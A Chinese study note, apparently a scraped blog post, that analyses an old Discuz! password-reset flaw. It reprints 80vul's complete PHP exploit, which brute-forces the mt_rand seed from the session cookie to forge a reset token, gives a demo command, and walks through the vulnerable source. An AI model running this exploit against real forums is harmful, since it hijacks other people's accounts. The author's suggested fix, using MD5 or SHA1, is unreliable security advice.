很老的一个漏洞了,只是作为学习渗透的一次材料罢了,用了它的poc,直接可以用了,感觉很神奇的同时想分析它的原理。不是什么很高端的东西,大神呵呵就好,我权当做一次学习笔记。 //内容来自AnYun.ORG SSV-ID: 4474 //内容来自安云网 SSV-AppDir: Discuz!漏洞 //内容来自安云网 发布时间: 2008-11-21 (GMT+0800) //本文来自安云网
poc //内容来自安云网
//本文来自安云网 <?php
print_r('
+---------------------------------------------------------------------------+
Discuz! Reset User Password Exploit
by 80vul
team: http://www.80vul.com
+---------------------------------------------------------------------------+
');
if($argc <6){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user mail uid
host: target server (ip/hostname)
path: path to discuz
user: user login name
mail: user login mail
uid: user login id
Example:
php '.$argv[0].' localhost /discuz/ 80vul 80vul@80vul.com 2
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(7);
ini_set('max_execution_time',0);
$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$mail = $argv[4];
$uid = $argv[5];
$fp = fsockopen($host,80);
$data ="GET ".$path."viewthread.php HTTP/1.1\r\n";
$data .="Host: $host\r\n";
$data .="Keep-Alive: 300\r\n";
$data .="Connection: keep-alive\r\n\r\n";
fputs($fp, $data);
$resp ='';
while($fp &&!feof($fp)){
$resp .= fread($fp,1024);
preg_match('/&formhash=([a-z0-9]{8})/', $resp, $hash);
if($hash)
break;
}
if($hash){
$cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];
$data ="POST ".$path."member.php HTTP/1.1\r\n";
$data .="Content-Type: application/x-www-form-urlencoded\r\n";
$data .="Referer: http://$host$path\r\n";
$data .="Host: $host\r\n";
$data .="Content-Length: ".strlen($cmd)."\r\n";
$data .="Connection: close\r\n\r\n";
$data .= $cmd;
fputs($fp, $data);
$resp ='';
while($fp &&!feof($fp))
$resp .= fread($fp,1024);
fclose($fp);
preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid);
if(!$sid)
exit("Exploit Failed!\n");
$seed = getseed();
if($seed){
mt_srand($seed);
random();
mt_rand();
$id = random();
$fp = fsockopen($host,80);
$cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];
$data ="POST ".$path."member.php HTTP/1.1\r\n";
$data .="Content-Type: application/x-www-form-urlencoded\r\n";
$data .="Referer: http://$host$path\r\n";
$data .="Host: $host\r\n";
$data .="Content-Length: ".strlen($cmd)."\r\n";
$data .="Connection: close\r\n\r\n";
$data .= $cmd;
fputs($fp, $data);
$resp ='';
while($fp &&!feof($fp))
$resp .= fread($fp,1024);
if(strpos($resp,'您的密码已重新设置,请使用新密码登录。')!==false)
exit("Expoilt Success!\nUser New Password:\t123456\n");
else
exit("Exploit Failed!\n");
}else
exit("Exploit Failed!\n");
}else
exit("Exploit Failed!\n");
function getseed()
{
global $sid;
for($seed =0; $seed <=1000000; $seed ++){
mt_srand($seed);
$id = random(6);
if($id == $sid[1])
return $seed;
}
returnfalse;
}
function random($length =6)
{
$hash ='';
$chars ='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars)-1;
for($i =0; $i < $length; $i ++)
$hash .= $chars[mt_rand(0, $max)];
return $hash;
}
?> //本文来自安云网
//本文来自安云网 2. 演示 //内容来自安云网
poc不用做任何修改就可以直接使用了 //内容来自AnYun.ORG
php.exe DiscuzResetUserPasswordVulnerability.php 192.168.174.131 / little 306211321@qq.com 2 //内容来自AnYun.ORG
目标用户的密码就被你修改了111了。 //本文来自安云网 3. 代码分析 //内容来自AnYun.ORG
我们现在来一步步分析这个漏洞成因和这个poc的利用思想。 //内容来自AnYun.ORG 这个漏洞利用的DZ的密码找回功能来对目标用户的密码进行非法修改的,但是系统是怎么区分是不是那个用户本人在进行密码找回呢?DZ是利用一个伪随机数算法的的随机不可测性来保证用户的真实性的,即DZ基于这个伪随机数生成函数的算法生成的id_hash来进行身份认证。但是问题也就在这里了,这个算法的随机性强度不够,导致可以通过暴力猜解的方式逆向推测出这个id_hash。 //本文来自安云网
//内容来自AnYun.ORG 首先,poc做的第一件事是去获取一个formhash: //内容来自安云网 $data ="GET ".$path."viewthread.php HTTP/1.1\r\n"; .... preg_match('/&formhash=([a-z0-9]{8})/', $resp, $hash); //内容来自安云网 因为DZ为了防御CSRF攻击,对每个表单都设置了formhash,这样就有效防止了跨域的CSRF攻击(虽然也有方法绕过,但这不是这次分析的范围了) //内容来自AnYun.ORG 在include/global_func.php函数库中有关于formhash检查的函数实现代码: //本文来自安云网
所以我们在进行表单的模拟提交之前,要先获取到一个有效的formhash。 //内容来自安云网 接下来是发送密码找回的请求POST请求。这是UI界面的截图 //内容来自AnYun.ORG
//本文来自安云网 来看我们的poc代码: //本文来自安云网 if($hash){
$cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];
$username:目标用户名
$email:目标用户的邮箱
$formhash:formhash //本文来自安云网
接下来,poc提取出了获得的HTTP头的cookie设置信息: //内容来自AnYun.ORG $resp .= fread($fp,1024);
....
preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid); //内容来自安云网
这个cookie值就是第一个重点,我们之后要详细分析是怎么从这个cookie推出id_hash的。 //本文来自安云网 接下来,poc进行了一些很重要的算法运算: //内容来自AnYun.ORG
if(!$sid) //$sid是刚才获得cookie值 exit("Exploit Failed!\n"); $seed = getseed(); if($seed){ mt_srand($seed); random(); mt_rand(); $id = random(); $fp = fsockopen($host,80); $cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1]; //把算出的id_hash带入POST参数域中 那getseed()是什么意思呢?我们进入DZ的源代码进行白盒分析一下,看看80vul是怎么利用逆向算法达到爆破的目的的(我自己感觉这有点类似逆向里面的算法逆向,原理差不多,都是从结果推出起源) //内容来自AnYun.ORG 我们刚才第二次发出的POST请求: //内容来自安云网 $cmd ='action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1]; //本文来自安云网
对应到代码里面就是这段: //本文来自安云网 member.php elseif($action == 'lostpasswd') { $discuz_action = 141; if(!submitcheck('lostpwsubmit')) {//基于formhash的CSRF检查 include template('lostpasswd'); } else { $secques = quescrypt($questionid, $answer); $query = $db->query("SELECT uid, username, adminid, email FROM {$tablepre}members WHERE username='$username' AND secques='$secques' AND email='$email'"); if(!$member = $db->fetch_array($query)) { showmessage('getpasswd_account_notmatch', NULL, 'HALTED'); } elseif($member['adminid'] == 1 || $member['adminid'] == 2) { showmessage('getpasswd_account_invalid', NULL, 'HALTED'); } $idstring = random(6); $db->query("UPDATE {$tablepre}memberfields SET authstr='$timestamp\t1\t$idstring' WHERE uid='$member[uid]'"); sendmail("$username <$member[email]>", 'get_passwd_subject', 'get_passwd_message'); showmessage('getpasswd_send_succeed'); } } //内容来自AnYun.ORG 可以看到,程序先进行CSRF检查,然后根据我们提交的目标用户参数从数据库中查出username,adminid,email参数,并判断adminid是否为1/2(普通用户的adminid都是从3开始算起的,管理员是1),即不能找回管理员的密码。 //本文来自安云网 然后就是一句很关键的话了: //本文来自安云网 $idstring = random(6); //内容来自AnYun.ORG 接下来就直接把生成的id_hash插入数据库中。 //内容来自安云网 $db->query("UPDATE {$tablepre}memberfields SET authstr='$timestamp\t1\t$idstring' WHERE uid='$member[uid]'"); random()函数位于:/include/global_func.php中 function random($length, $numeric = 0) { PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); if($numeric) { $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1)); } else { $hash = ''; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } } return $hash; } 注意第一句话: //本文来自安云网 PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); //内容来自AnYun.ORG
自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。 //内容来自AnYun.ORG 我们的PHP版本在5.0以上,所以种子都是由系统自动完成的。 //内容来自安云网
然后代码在26个字母包括大小写和数字中随机生成执行长度$length的伪随机字符串。 //本文来自安云网 所以,我们现在知道了,在我们发出找回密码的POST请求的时候,系统会运行代码: //本文来自安云网 $idstring = random(6); 生成个6位伪随机字符串然后插进数据库。 //本文来自安云网
那这个我们poc中第三步得到的cookie有什么关系呢?我们继续分析poc代码,之后会详细分析cookie值和和id_hash的关系。 //内容来自安云网 poc做的第三步是: //本文来自安云网 $cmd ='action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1]; $data ="POST ".$path."member.php HTTP/1.1\r\n"; action:重设密码的动作 uid:前面填写的目标用户的id id:我们通过算法得到的伪随机字符串 newpasswd:新密码 formhash:formhash //本文来自安云网 这一步就相当于我们在邮箱会收到一封确认邮件,要求我们点击然后去重设密码的链接一样。 //本文来自安云网 这个动作对应到:member.php里面的代码逻辑是: //本文来自安云网 elseif($action == 'getpasswd' && $uid && $id) { $discuz_action = 141; $query = $db->query("SELECT m.username, mf.authstr FROM {$tablepre}members m, {$tablepre}memberfields mf WHERE m.uid='$uid' AND mf.uid=m.uid"); $member = $db->fetch_array($query); list($dateline, $operation, $idstring) = explode("\t", $member['authstr']); if($dateline < $timestamp - 86400 * 3 || $operation != 1 || $idstring != $id) { showmessage('getpasswd_illegal', NULL, 'HALTED'); } if(!submitcheck('getpwsubmit') || $newpasswd1 != $newpasswd2) { include template('getpasswd'); } else { if($newpasswd1 != addslashes($newpasswd1)) { showmessage('profile_passwd_illegal'); } $password = md5($newpasswd1); $db->query("UPDATE {$tablepre}members SET password='$password' WHERE uid='$uid'"); $db->query("UPDATE {$tablepre}memberfields SET authstr='' WHERE uid='$uid'"); showmessage('getpasswd_succeed'); } } //内容来自AnYun.ORG 可以看到,代码会从数据库查出我们刚才的找回密码动作产生的id_hash。然后判断一下是否过了3天的timesxpire。然后是最关键的: //内容来自AnYun.ORG || $idstring != $id //内容来自AnYun.ORG 直接对我们提交的$id和数据库中的伪随机字符串$idstring进行等值比较,也就是说,我们的算法得出的$id必须要能够等于数据库中的$idsring才能通过密码重设逻辑。 //内容来自安云网
我们现在可以回过头来分析一下我们的poc算法是怎么通过cookie值算出这个伪随机id_hash的了。 //内容来自AnYun.ORG 通过webscarab代理拦截抓包,发现DZ是先对我们本地写进一个cookie值,再发送HTTP实体内容的。也就是说在调用random(6)生成伪随机id_hash之前,先生成了一个cookie并发往我们的浏览器。 //内容来自安云网 从member.php中处理找回密码的代码逻辑的地方往前回溯,发现在头部require了一个common.inc.php文件。在这里下断点die(“ok”)。发现cookie值依然获取到了 //本文来自安云网
//内容来自安云网
//内容来自安云网
说明common.inc.php里面包含了设置cookie信息的代码: //内容来自安云网
include/common.inc.php //内容来自安云网
看到了设置cookie的代码: //内容来自安云网 if(empty($_DCOOKIE['sid']) || $sid != $_DCOOKIE['sid']) { dsetcookie('sid', $sid, 604800); } 继续回溯$sid。 //内容来自AnYun.ORG $sid = daddslashes(($transsidstatus || CURSCRIPT == 'wap') && (isset($_GET['sid']) || isset($_POST['sid'])) ? (isset($_GET['sid']) ? $_GET['sid'] : $_POST['sid']) : (isset($_DCOOKIE['sid']) ? $_DCOOKIE['sid'] : '')); 接着回溯$_DCOOKIE['sid']。 //内容来自安云网 if(!$sessionexists) { if($discuz_uid) { $query = $db->query("SELECT $membertablefields, m.styleid FROM {$tablepre}members m WHERE m.uid='$discuz_uid' AND m.password='$discuz_pw' AND m.secques='$discuz_secques'"); if(!($_DSESSION = $db->fetch_array($query))) { clearcookies(); } } if(ipbanned($onlineip)) $_DSESSION['ipbanned'] = 1; $_DSESSION['sid'] = random(6); $_DSESSION['seccode'] = random(6, 1); }
注 //内容来自安云网 看关键的两句: //本文来自安云网 $_DSESSION['sid'] = random(6);
$_DSESSION['seccode'] = random(6, 1); //本文来自安云网
第一句是生成一个6位长度的伪随机字符串,第二句是生成一个1位长度的伪随机字符串。本质上就是6次mt_rand()加上1次mt_rand()。 //内容来自安云网
这 //内容来自安云网 整理一下DZ的整个代码流程: //内容来自AnYun.ORG 1. 在第一次的mt_rand()之前由系统自动生成一个seed,这个过程对程序员是透明的。——–等效于破出里面的mt_srand($seed); //内容来自安云网
2. 6次mt_rand()生成一次sid,用于set-cookie。—–等效于poc里面的一次random()调用 //本文来自安云网 3. 1次mt_rand()生成一个seccode——等效与poc里面的一次mt_rand() //内容来自AnYun.ORG 4. 6次mt_rand()生成一个idstring,即id伪随机字符串,并保存进数据库——–等效于poc里面的一次random()调用 //本文来自安云网 好,我们接下来来看看poc里面生成id_hash的算法是怎么写的: //本文来自安云网
function getseed() { global $sid; for($seed =0; $seed <=1000000; $seed ++) { mt_srand($seed); $id = random(6); if($id == $sid[1]) { return $seed; } } return false; } 因为PHPmt_rand()默认的自动种子的原理就是: //内容来自AnYun.ORG
((double)microtime() * 1000000); //本文来自安云网 所以for循环的最大值就是1000000。 //内容来自AnYun.ORG
然 接下来,如果得到了和sid一样的hash,则表明我们逆向推出了seed,然后再按照DZ的程序逻辑,一一对应的运行相应次数的mt_rand(),正向得到id_hash。 //内容来自AnYun.ORG 得到id_hash之后,就可以构造第三个POST数据包,对目标用户进行密码重置了。 //内容来自AnYun.ORG
//内容来自安云网 这样,就完成了通过暴力猜解对任意用户的密码进行重置。 //内容来自安云网 4. 漏洞成因 //内容来自安云网
我感觉这个漏洞的成因就是因为现在的伪随机算法本身的随机性就不强,即明文空间太小了,攻击者可以有限的时间内对明文空间进行暴力猜的,达到密文空间。如果要解决这个问题,应该更换明文空间更大的算法。类似MD5,SHA1那种,让基于逆向算法的猜解变得很难才行。 //内容来自安云网 至此,整个poc就分析这样了,接下来继续学习DZ的其他的漏洞和poc,希望能从每个漏洞中都认真分析,学到点东西。 //内容来自安云网 //内容来自AnYun.ORG |